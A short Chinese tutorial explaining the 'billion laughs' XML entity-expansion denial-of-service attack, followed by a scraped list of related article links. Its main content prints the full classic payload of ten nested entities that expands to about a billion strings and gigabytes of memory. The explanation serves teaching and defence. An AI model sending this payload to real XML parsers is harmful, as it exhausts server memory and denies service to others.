0x00 前记

    a billion laughs attack 是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。它也被称为指数实体扩展攻击,是一种名副其实的XML炸弹。

0x01 实例

    该攻击通过创建一系列递归的XML定义,在内存中产生上十亿的特定字符串,从而导致DoS攻击。原理为:构造恶意的XML实体文件以耗尽服务器可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,上亿的特定字符串占用内存达到GB级,使得解析器解析非常慢,并使得可用资源耗尽,从而造成拒绝服务攻击。

<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

如以上代码所示,在XMl中定义了一个实体lol9,它的值包含了十个实体lol8的值,而每个lol8又包含了十个lol7的值...最后产生10亿个“lol”字符串,占用内存约高达3GB。

0x03 参考资料

    维基百科billion laughs(https://en.wikipedia.org/wiki/Billion_laughs_attack

billion laughs attack相关推荐

  1. 全球首个开放应用模型 OAM 开源 | 云原生生态周报 Vol. 23

    作者 | 临石.元毅.冬岛.衷源.天元 业界要闻 全球首个开放应用模型 OAM 开源 2019 年 10 月 17 日,阿里巴巴合伙人.阿里云智能基础产品事业部总经理蒋江伟(花名:小邪)在 Qcon ...

  2. java安全编码指南之:拒绝Denial of Service

    文章目录 简介 为什么会有DOS 不合理的资源使用 请求用于矢量图的SVG文件和字体文件 字符串或二进制表示的图片转换 zip炸弹 billion laughs attack hashMap中插入太多 ...

  3. (39.2)【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例

    目录 零.推荐: 一.简介: 二.原理: 三.产生的原因: 四.漏洞检测: 4.1.白盒: 4.1.1.函数/可控变量的查找 4.1.2.传输/存储数据格式类型 4.2.黑盒: 4.2.1.数据格式类 ...

  4. OWASP Top10 2020

    OWASP Top 10 2020 什么是OWASP 漏洞简介 1. Top1-注入 2.失效身份验证和会话管理 3.敏感信息泄露 4.XML外部实体注入攻击(XXE) 5.失效访问控制 6.安全性错 ...

  5. Kali Linux Web 渗透测试秘籍 第六章 利用 -- 低悬的果实

    第六章 利用 – 低悬的果实 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 这章开始我们会开始涉及渗透测试的的利用层面.和漏洞评估的 ...

  6. owasp_OWASP数据工程师

    owasp Wait.. what? Isn't OWASP something to do with web applications? That was my first reaction too ...

  7. Web下的拒绝服务漏洞(DoS)

    声明 由于传播.利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Vulkey_Chen(戴城)不为此承担任何责任. Vulkey_Chen(戴城)拥有对此文章的修改和解释 ...

  8. java SAX 防xml注入,如何防止XML注入像XML Bomb和XXE攻击

    您是否尝试过 OWASP page的以下代码段? import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.P ...

  9. 开发安全的 API 所需要核对的清单

    开发安全的 API 所需要核对的清单 以下是当你在设计, 测试以及发布你的 API 的时候所需要核对的重要安全措施. 身份认证 不要使用 Basic Auth 使用标准的认证协议 (如 JWT, OA ...

最新文章

  1. 单例模式 -- Java
  2. 和AI机器人Alice的一段聊天记录
  3. 微软一顿操作猛如虎,PowerShell 排名直线上升
  4. disruptor3_发布Disruptor 3.0.0
  5. Java中Lambda表达式与方法引用和构造器引用
  6. 人性歪曲的心理调适 一【浮躁心理、偏激心理、自卑心理、自杀心理、愤怒心理】...
  7. Flask 蓝图(Blueprint)
  8. Linux驱动中delayed_workqueue使用:
  9. c#和python_C#学习笔记(与Java、C、C++和Python对比)
  10. 商场收银系统服务器安装在哪里,收银系统安装教程
  11. 商品管理系统——Java实现
  12. Litestar 4D:道路照明
  13. js:图片的切换(代码)
  14. 如何写SCI论文的摘要
  15. 网易云信 android,网易云信/NIM_Android_UIKit
  16. Cortex-M中特别实用的DWT计数器
  17. w ndows10装什么浏览器,Windows10系统默认启用IE浏览器方法
  18. 徐小明:探寻股市下跌的真正原因
  19. Springboot企业内部交流系统9r309计算机毕业设计-课程设计-期末作业-毕设程序代做
  20. STM32F103C8T6基于HAL库制作RTC时钟

热门文章

  1. 大学抢课python脚本_【python】自动选课脚本
  2. 轻舟已过万重山——云评测|2019年技术盘点微服务篇(一)
  3. 游戏开发完整学习路线之美
  4. 通达信交易软件接口的标记是什么?
  5. 免费的内网穿透工具-飞鸽穿透
  6. 腾讯服务器维护公告,腾讯内容开放平台
  7. 03 ,plt 设置 rcParams :中文,正负号,线宽,线色,线条样式,常规例子,所有参数
  8. 如何在Jupyter notebook上插入图片
  9. 倍福TwinCAT(贝福Beckhoff)常见问题(FAQ)-如何把FBD功能块转换成ST语言
  10. 小米android one电池,小米A1(小米5X)成为最佳Android One设备